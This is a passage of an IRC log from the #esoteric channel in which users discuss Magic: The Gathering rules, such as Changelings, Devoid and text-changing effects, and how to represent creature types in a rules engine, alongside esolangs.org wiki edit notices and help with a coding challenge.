< 1446397156 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :it doesn't use {X} < 1446397160 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :or X < 1446397419 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :\oren\: I might phrase that by giving it a mana cost of XXX and saying "Pay XX with green mana only, and pay the remaining X with blue mana only." < 1446397425 0 :Melvar`!~melvar@dslb-092-072-150-031.092.072.pools.vodafone-ip.de JOIN :#esoteric < 1446397450 0 :idris-bot!~idris-bot@dslb-092-072-150-031.092.072.pools.vodafone-ip.de JOIN :#esoteric < 1446397476 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :tswett: it's usually easier to just say "Multikicker {GGU}" or "You may pay an additional {GGU} any number of times." < 1446397500 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Yeah, probably a good idea. < 1446397544 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :How about "As you cast this spell, you may pay its mana cost any nonzero number of times"? Mm, Multikicker is probably easier. < 1446397549 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :tswett: or whatever that new keyword is that requires to pay an additional cost for each target other than the first < 1446397552 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :what's that one called? < 1446397558 0 :Melvar!~melvar@dslb-092-072-150-031.092.072.pools.vodafone-ip.de QUIT :Ping timeout: 240 seconds < 1446397573 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :I should know this. < 1446397584 0 :zzo38!~zzo38@24-207-56-9.eastlink.ca PRIVMSG #esoteric :Yes, just using multikicker. < 1446397593 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Strive, and it's an ability word < 1446397617 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :as in on Kiora's Dismissal < 1446397640 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Nature's Panoply has {2G} as the strive cost < 1446397652 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Ah. In that case, I shouldn't have known that. < 1446397657 0 :\oren\!~oren@TOROON0949W-LP140-02-1242510774.dsl.bell.ca PRIVMSG #esoteric :hmm i see. < 1446397695 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Ooh, and don't orget Replicate. < 1446397741 0 :\oren\!~oren@TOROON0949W-LP140-02-1242510774.dsl.bell.ca PRIVMSG #esoteric :I was thinking what if I made a deck with blue and green but not in a 1:1 ratio < 1446397750 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :You can only strive up to the number of legal targets, though. < 1446397777 0 :zzo38!~zzo38@24-207-56-9.eastlink.ca PRIVMSG #esoteric :Rule 613.1 does not list effects changing the mana cost (although there currently are no such effects anyways) < 1446398030 0 :perrier__!~cinch@107.170.175.57 QUIT :Remote host closed the connection < 1446398115 0 :perrier!~cinch@107.170.175.57 JOIN :#esoteric < 1446398142 0 :Melvar!~melvar@dslb-092-072-169-130.092.072.pools.vodafone-ip.de JOIN :#esoteric < 1446398270 0 :idris-bot!~idris-bot@dslb-092-072-150-031.092.072.pools.vodafone-ip.de QUIT :Ping timeout: 260 seconds < 1446398293 0 :Melvar`!~melvar@dslb-092-072-150-031.092.072.pools.vodafone-ip.de QUIT :Ping timeout: 252 seconds < 1446398550 0 :ent0nces_!~ent0nces@linux-jord1.cryptostorm.net JOIN :#esoteric < 1446398671 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Talk:///14]]4 10 02http://esolangs.org/w/index.php?diff=45032&oldid=45031 5* 03Tanner Swett 5* (+445) 10/* Clarifying the specs */ Response < 1446398732 0 :ent0nces!~ent0nces@linux-jord1.cryptostorm.net QUIT :Ping timeout: 268 seconds < 1446399183 0 :boily!~alexandre@96.127.201.149 JOIN :#esoteric < 1446399526 0 :J_Arcane!~chatzilla@37-219-84-140.nat.bb.dnainternet.fi QUIT :Ping timeout: 246 seconds < 1446399804 0 :atrapado!~atrapado@unaffiliated/atrapado JOIN :#esoteric < 1446400273 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Talk:Headache14]]4 10 02http://esolangs.org/w/index.php?diff=45033&oldid=44644 5* 03Rdebath 5* (+192) 10/* Addition */ < 1446400295 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Headache14]]4 10 02http://esolangs.org/w/index.php?diff=45034&oldid=34688 5* 03Rdebath 5* (+318) 10Conversion of brainfuck to headache < 1446400542 0 :bb010g!uid21050@gateway/web/irccloud.com/x-sjwgzdgkhstwnktj JOIN :#esoteric < 1446401460 0 :lleu!~gnomebad@cpc15-croy20-2-0-cust489.croy.cable.virginm.net JOIN :#esoteric < 1446401460 0 :lleu!~gnomebad@cpc15-croy20-2-0-cust489.croy.cable.virginm.net QUIT :Changing host < 1446401460 0 :lleu!~gnomebad@unaffiliated/lleu JOIN :#esoteric < 1446401571 0 :ent0nces_!~ent0nces@linux-jord1.cryptostorm.net QUIT :Ping timeout: 252 seconds < 1446401709 0 :gniourf!~gniourf@pdm-l03.insa-lyon.fr QUIT :Read error: Connection reset by peer < 1446401718 0 :gniourf!~gniourf@pdm-l03.insa-lyon.fr JOIN :#esoteric < 1446402324 0 :ent0nces!~ent0nces@67-5-176-64.ptld.qwest.net JOIN :#esoteric < 1446402501 0 :ent0nces_!~ent0nces@104.238.194.236 JOIN :#esoteric < 1446402512 0 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1446402580 0 :ent0nces!~ent0nces@67-5-176-64.ptld.qwest.net QUIT :Ping timeout: 250 seconds < 1446402944 0 :Wright!~Wright@c-98-225-44-92.hsd1.wa.comcast.net QUIT :Ping timeout: 250 seconds < 1446403077 0 :ent0nces!~ent0nces@104.238.194.236 JOIN :#esoteric < 1446403242 0 :ent0nces_!~ent0nces@104.238.194.236 QUIT :Ping timeout: 244 seconds < 1446403487 0 :atehwa!atehwa@aulis.sange.fi JOIN :#esoteric < 1446404969 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :huh stackoverflow actually logged me out < 1446404981 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i think that hasn't happened in over a year < 1446405033 0 :JesseH!~JesseH@oftn/member/JesseH QUIT :Read error: Connection reset by peer < 1446406484 0 :hppavilion[2]!~Devourero@221-1-174-206.gci.net JOIN :#esoteric < 1446406512 0 :hppavilion[2]!~Devourero@221-1-174-206.gci.net QUIT :Client Quit < 1446406582 0 :JesseH!~JesseH@oftn/member/JesseH JOIN :#esoteric < 1446407375 0 :boily!~alexandre@96.127.201.149 PRIVMSG #esoteric :@massages-loud < 1446407375 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric :You don't have any messages < 1446407581 0 :Wright!~Wright@c-98-225-44-92.hsd1.wa.comcast.net JOIN :#esoteric < 1446408616 0 :boily!~alexandre@96.127.201.149 QUIT :Quit: BIDIRECTIONAL CHICKEN < 1446408685 0 :Patashu!Patashu@c27-253-115-204.carlnfd2.nsw.optusnet.com.au JOIN :#esoteric < 1446408946 0 :ent0nces!~ent0nces@104.238.194.236 QUIT : < 1446409732 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :https://www.codeeval.com/open_challenges/44/ my solution is scoring 67%, can you help me find what's wrong? http://arin.ga/KEd0BX/raw < 1446410634 0 :Patashu!Patashu@c27-253-115-204.carlnfd2.nsw.optusnet.com.au QUIT :Ping timeout: 255 seconds < 1446410751 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :izabera: 132 should result in 213 not 312 < 1446411897 0 :atrapado!~atrapado@unaffiliated/atrapado QUIT :Quit: Leaving < 1446412824 0 :zzo38!~zzo38@24-207-56-9.eastlink.ca PRIVMSG #esoteric :Do you know why this program does not work? http://wiki.nesdev.com/w/index.php/User:Zzo38/Famicom_Z-machine < 1446412834 0 :zzo38!~zzo38@24-207-56-9.eastlink.ca PRIVMSG #esoteric :Can you find the mistake? < 1446414537 0 :aretecode!~aretecode@104.156.228.132 JOIN :#esoteric < 1446414805 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net JOIN :#esoteric < 1446414848 0 :J_Arcane!~chatzilla@37-219-84-140.nat.bb.dnainternet.fi JOIN :#esoteric < 1446414858 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Hello world program in esoteric languages14]]4 10 02http://esolangs.org/w/index.php?diff=45035&oldid=44874 5* 03Bexandre 5* (+113) 10 < 1446415152 0 :Melvar`!~melvar@dslb-178-004-081-008.178.004.pools.vodafone-ip.de JOIN :#esoteric < 1446415159 0 :idris-bot!~idris-bot@dslb-178-004-081-008.178.004.pools.vodafone-ip.de JOIN :#esoteric < 1446415278 0 :Melvar!~melvar@dslb-092-072-169-130.092.072.pools.vodafone-ip.de QUIT :Ping timeout: 255 seconds < 1446415347 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07User:Bexandre/SpeedPL14]]4 10 02http://esolangs.org/w/index.php?diff=45036&oldid=45024 5* 03Bexandre 5* (+6) 10 < 1446416035 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :thanks int-e < 1446416152 0 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :@tell boily you always leave just a scant few hours before i arrive. and you never have any massages. < 1446416152 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric :Consider it noted. < 1446417136 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Whoops. I'm representing the creature types of an object as a HashSet. That's not going to work with Changelings. < 1446417248 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Treating a Changeling as if it had "Advisor Ally Angel Antelope Ape Archer Archon Artificer Assassin Assembly-Worker Atog Aurochs Avatar Badger Barbarian Basilisk Bat Bear Beast Beeble Berserker Bird Blinkmoth Boar Bringer Brushwagg Camarid Camel Caribou Carrier Cat Centaur Cephalid Chimera Citizen Cleric Cockatrice Construct Coward Crab Crocodile Cyclops Dauthi Demon Deserter Devil Djinn Dragon Drake Dreadnought Drone Druid Dryad Dwarf Efreet Elder < 1446417248 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Eldrazi Elemental Elephant Elf Elk Eye Faerie Ferret Fish Flagbearer Fox Frog Fungus Gargoyle Germ Giant Gnome Goat Goblin God Golem Gorgon Graveborn Gremlin Griffin Hag Harpy Hellion Hippo Hippogriff Homarid Homunculus Horror Horse Hound Human Hydra Hyena Illusion Imp Incarnation Insect Jellyfish Juggernaut Kavu Kirin Kithkin Knight Kobold Kor Kraken Lamia Lammasu Leech Leviathan Lhurgoyf Licid Lizard Manticore Masticore Mercenary Merfolk Metathran < 1446417248 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Minion Minotaur Monger Mongoose Monk Moonfolk Mutant Myr Mystic Naga Nautilus Nephilim Nightmare Nightstalker Ninja Noggle Nomad Nymph Octopus Ogre Ooze Orb Orc Orgg Ouphe Ox Oyster Pegasus Pentavite Pest Phelddagrif Phoenix Pincher Pirate Plant Praetor Prism Processor Rabbit Rat Rebel Reflection Rhino Rigger Rogue Sable Salamander Samurai Sand Saproling Satyr Scarecrow Scion Scorpion Scout Serf Serpent Shade Shaman Shapeshifter Sheep Siren Skeleton < 1446417248 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Slith Sliver Slug Snake Soldier Soltari Spawn Specter Spellshaper Sphinx Spider Spike Spirit Splinter Sponge Squid Squirrel Starfish Surrakar Survivor Tetravite Thalakos Thopter Thrull Treefolk Triskelavite Troll Turtle Unicorn Vampire Vedalken Viashino Volver Wall Warrior Weird Werewolf Whale Wizard Wolf Wolverine Wombat Worm Wraith Wurm Yeti Zombie Zubera" printed on it isn't really what I want to do. < 1446417395 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :tswett: then make a class and functions that abstract this functionality, by representing an effective set of creature types as either a set of them or the complement set, whichever is more convenient? < 1446417430 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :I figure I'll just represent a creature type as a Func. < 1446417435 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :with all the necessary functions to operate on that set, eg. add a creature type non-destructively, construct an empty set, construct a full set, check membership < 1446417442 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :tswett: what is Func? < 1446417460 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :The type of a function. < 1446417469 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :tswett: nope. don't forget that you have to be able to check quickly whether two creatures share a creature type. < 1446417474 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07EsoKit14]]4 N10 02http://esolangs.org/w/index.php?oldid=45037 5* 03Hppavilion1 5* (+6554) 10Created base page. < 1446417479 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Ah, right. < 1446417544 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Okay, then. I'll have a class called "CreatureTypeSet". < 1446417600 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :tswett: further, there's a subtilty why, even if you don't care about efficiency, you have to treat Woodland Changeling and similar cards as having only Shapeshifter in the type line, despite that they have all creature types at all times: < 1446417646 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :the text-changing effect of Artificial Evolution can change a creature type on the type line to another type (even to a type that already appears), but it can't change the types of a Woodland Changeling < 1446417656 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :(welcome to M:tG) < 1446417770 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Thus, you have to know about the type line separately. < 1446417797 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Now, is it possible for a characteristic-defining ability to stop having its effect? < 1446417815 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Like, can a creature with Devoid lose Devoid, causing it to have the color implied by its mana cost? < 1446417881 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :tswett: some characteristic-defining effects that define the p/t of a creature work only on the battlefield < 1446417918 0 :AnotherTest!~turingcom@94-224-66-163.access.telenet.be QUIT :Quit: ZNC - http://znc.in < 1446417989 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :tswett: also, anything that overwrites copyable values, namely copy effects, object being face down, object observed in a hidden zone without being revealed, split/flip/transformed cards, can disable the characteristic-defining effect < 1446418030 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :tswett: but you can't just have a creature lose devoid like that, because all those effects overwrite the whole text of the card < 1446418037 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :More specific question. Suppose a creature whose mana cost is B and which has Devoid is affected by an effect that says it loses all abilities. Does it become black? < 1446418092 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07EsoKit14]]4 10 02http://esolangs.org/w/index.php?diff=45038&oldid=45037 5* 03Hppavilion1 5* (+1086) 10Fixed a header error, added EsoKit.dev section to primary submodules (forgot about it on the first pass! Whoops!), Libraries section. < 1446418100 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :tswett: text-changing effects and splice effects can modify or copy characteristic-defining abilities, but I think nothing you can splice has such an ability so that doesn't matter < 1446418123 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :tswett: no, a Humbled devoid creature is still colorless, because of the layering rules < 1446418132 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :Hi tswett! < 1446418165 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Hey there. < 1446418197 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :i got 100% on that challenge, this is my code http://arin.ga/AfiHfV/raw < 1446418201 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :is there a better way? < 1446418214 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :https://www.codeeval.com/open_challenges/44/ this challenge < 1446418214 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Text-changing can modify a characteristic-defining ability, namely you could artificially evolve a Coiling Woodworm or Darkmoor Sorceress to care about your Islands < 1446418226 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :(all Islands on the bf, in the first case) < 1446418239 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :it takes too long < 1446418260 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Um, not artificially evolve, but whatever those two cards are that can change a land type in text. < 1446418274 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Now, is it reasonably possible for a creature to have all creature types *except* for one or two? < 1446418278 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Magical Hack < 1446418291 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :tswett: that's a good question. I'm not sure. < 1446418320 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :tswett: it's "reasonably possible" in that it might be possible with something they'll print in the future, but I'm not sure if there's already such a card < 1446418327 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Right. < 1446418332 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :tswett: I'm thinking of mostly an effect that removes a specific creature type. < 1446418341 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07EsoKit14]]4 M10 02http://esolangs.org/w/index.php?diff=45039&oldid=45038 5* 03Hppavilion1 5* (+142) 10Added a new EsoKit.ek thing < 1446418348 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :It is probably already possible, but I don't know an example off-hand < 1446418349 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Of course, it's also unreasonably possible, in that you could just add all creature types one by one or something. < 1446418366 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :You know what, that's something that could plausibly happen in a game. < 1446418372 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :sure < 1446418375 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Assuming there's actually an effect that adds a creature type. < 1446418391 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :of course there is < 1446418405 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Conspiracy is inefficient < 1446418419 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Hmmm... I wonder what to do about the fact that Magic is uncomputable. < 1446418454 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :"Just throw an exception whenever you encounter an uncomputable situation", says the beginning CS student. < 1446418484 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :tswett: Mistform Sliver is the more efficient way < 1446418504 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :There you go. < 1446418531 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Now just find yourself an unlimited mana combo and say, "I add all creature types except Wolf to this, in alphabetical order." < 1446418577 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :And hope your opponent doesn't say, "Okay, so are you activating the ability an odd or an even number of times?" < 1446418596 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :tswett: even. might repeat some creature types, but who cares. < 1446418698 0 :shu1!b1872bdd@gateway/web/freenode/ip.177.135.43.221 JOIN :#esoteric < 1446418715 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07EsoKit14]]4 M10 02http://esolangs.org/w/index.php?diff=45040&oldid=45039 5* 03Hppavilion1 5* (+172) 10EsoKit.nsi.io.err: Just a slight variant. < 1446418717 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :do you lose the game if you announce that, the opponent asks you to do it step by step, and you then leave out some creature type? < 1446418733 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :int-e: no, why would you? < 1446418745 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :just a thought < 1446418778 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(no, of course not, since there's no such rule...) < 1446418796 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :hmm, but perhaps you could make a card < 1446418823 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :int-e: you could set up a combo where you win only if your creature has all creature types, probably < 1446418851 0 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1446418874 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :hmm, something where your opponent gets to name a creature type, perhaps... < 1446418886 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Yeah, if your opponent has "Choose a creature type. Destroy target creature that doesn't have that creature type." < 1446418903 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Hmm. There are two possible wordings of that that are a little different. < 1446418921 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :int-e: no, it's quite simple. just have a Lord of Atlantis, you're attacking with a bear with all creature types already added, and your opponent has a Magical Hack he's playing on your lord < 1446418931 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :he's on 3 life so you win only if the Lord boosts the bear < 1446418938 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :That one would require you to choose a type when you cast it, and if the creature loses that type, the spell is countered. < 1446418941 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :no need to be all taht complicated < 1446418955 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :It could instead say: "Choose a creature type. If target creature doesn't have that creature type, destroy it." < 1446418963 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Now you choose the creature when you cast it and the type when it resolves. < 1446418966 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :I think. < 1446418973 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :tswett: that's easy. M-Hack on Eyeblight's Ending. < 1446419011 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :(or M-Hack on Rend Flesh) < 1446419016 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Man, implementing text-changing effects is gonna be interesting. < 1446419070 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Instead of a card referring to "Color.Red", it'd have to refer to "this.ModifiedTextColors.Red" to get the color which the printed word "red" currently refers to due to text-changing effects. < 1446419093 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :A stupid way of doing that would be to have a member called "Color" which shadows the class... or would the class shadow the member? I don't remember. < 1446419287 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :wait what < 1446419300 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :is there only one card with four or more creature types on the type line according to current oracle text? < 1446419304 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :how the heck did they do that? < 1446419310 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :I thought there had to be dozens of such cards < 1446419333 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :What card is that? < 1446419358 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Seton's Scout < 1446419365 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :it's a Centaur Druid Scout Archer < 1446419368 0 :shu1!b1872bdd@gateway/web/freenode/ip.177.135.43.221 PART #esoteric : < 1446419402 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :mind you, Figure of Destiny evolves (not as in the rules term) to a Kithkin Spirit Warrior Avatar < 1446419438 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Wonder if they errata'd Scout in because it has "Scout" in the title and Archer in because it's depicted with a bow and arrow. < 1446419446 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :tswett: yes < 1446419480 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :probably around the Great Creature Type Update at Lorwyn < 1446419492 0 :adu!~ajr@c-73-133-129-229.hsd1.md.comcast.net JOIN :#esoteric < 1446419548 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :but I thought there had to be a lot of creatures with four creature types in the oracle text. not printed, mind you, four creature types wouldn't fit on the type line except in very unusual circumstances, but oracled after the fact. < 1446419622 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :hmm, ok, maybe not _that_ unusual < 1446419742 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :"Creature – Kor Nomad Solider Zombie" or "Creature – Kor Shaman Elder Scout" could probably fit, if the expansion symbol isn't a wide one < 1446419782 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Assembly-Worker Dreadnought Homunculus Shapeshifter. < 1446419793 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :That's what I'm going to name my first child. Assembly-Worker Dreadnought Homunculus Shapeshifter Swett. < 1446419820 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :"David?" "Here." "Maureen?" "Here." "Assembly-Worker?" "Here." < 1446419873 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :what if Sauron was a Legendary Creature – God Eye ? < 1446419905 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Elder is one of the crazier creature types by the way < 1446419930 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :only the Elder Dragons have it now < 1446420094 0 :zzo38!~zzo38@24-207-56-9.eastlink.ca PRIVMSG #esoteric :And the cards that has all creature types too, would have to have it too < 1446420115 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :sure < 1446420233 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07EsoKit/EsoKit.nsi.io14]]4 N10 02http://esolangs.org/w/index.php?oldid=45041 5* 03Hppavilion1 5* (+3137) 10Created page. Next step is to document what each command is and how it is mapped to the EsoKit.ek library. < 1446420281 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Nightmare and Horror are strange creature types too < 1446420286 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :I'm not sure how they're supposed to work < 1446420305 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :what is it that makes a creature a nightmare, a horror, or a nightmare horror? < 1446420357 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :many of the Horrors seem to be what would count as demons in D&D < 1446420361 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07EsoKit/EsoKit.nsi.io14]]4 M10 02http://esolangs.org/w/index.php?diff=45042&oldid=45041 5* 03Hppavilion1 5* (+95) 10Changed command form < 1446420395 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07EsoKit/EsoKit.nsi.io14]]4 M10 02http://esolangs.org/w/index.php?diff=45043&oldid=45042 5* 03Hppavilion1 5* (+1) 10Fixed a < to < < 1446420466 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :Is there a way to use wikimarkup or parserfunctions to change how the title appears? < 1446420468 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :I think there is < 1446420474 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :Imma go check the main page < 1446420543 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07EsoKit/EsoKit.nsi.io14]]4 M10 02http://esolangs.org/w/index.php?diff=45044&oldid=45043 5* 03Hppavilion1 5* (+29) 10Attempted to fix the page title < 1446420564 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07EsoKit/EsoKit.nsi.io14]]4 M10 02http://esolangs.org/w/index.php?diff=45045&oldid=45044 5* 03Hppavilion1 5* (+8) 10Attempted to fix the page title < 1446420648 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07EsoKit/EsoKit.nsi.io14]]4 M10 02http://esolangs.org/w/index.php?diff=45046&oldid=45045 5* 03Hppavilion1 5* (-37) 10Gave up on the page title; leaving it as-is (I suppose it makes more visible logical sense this way) < 1446420679 0 :evalj!~jeval@BC066B86.catv.pool.telekom.hu QUIT :Remote host closed the connection < 1446420727 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07EsoKit/EsoKit.nsi.io14]]4 M10 02http://esolangs.org/w/index.php?diff=45047&oldid=45046 5* 03Hppavilion1 5* (+121) 10String special characters < 1446420872 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Special:Log/move14]]4 move10 02 5* 03Hppavilion1 5* 10moved [[02Material Measurements10]] to [[EsoKit/EsoKit.ek.math.mm]]: Incorporated into a new library < 1446421051 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07EsoKit/EsoKit.ek.math.mm14]]4 10 02http://esolangs.org/w/index.php?diff=45050&oldid=45048 5* 03Hppavilion1 5* (+377) 10Incorporated properly into the EsoKit. < 1446421142 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 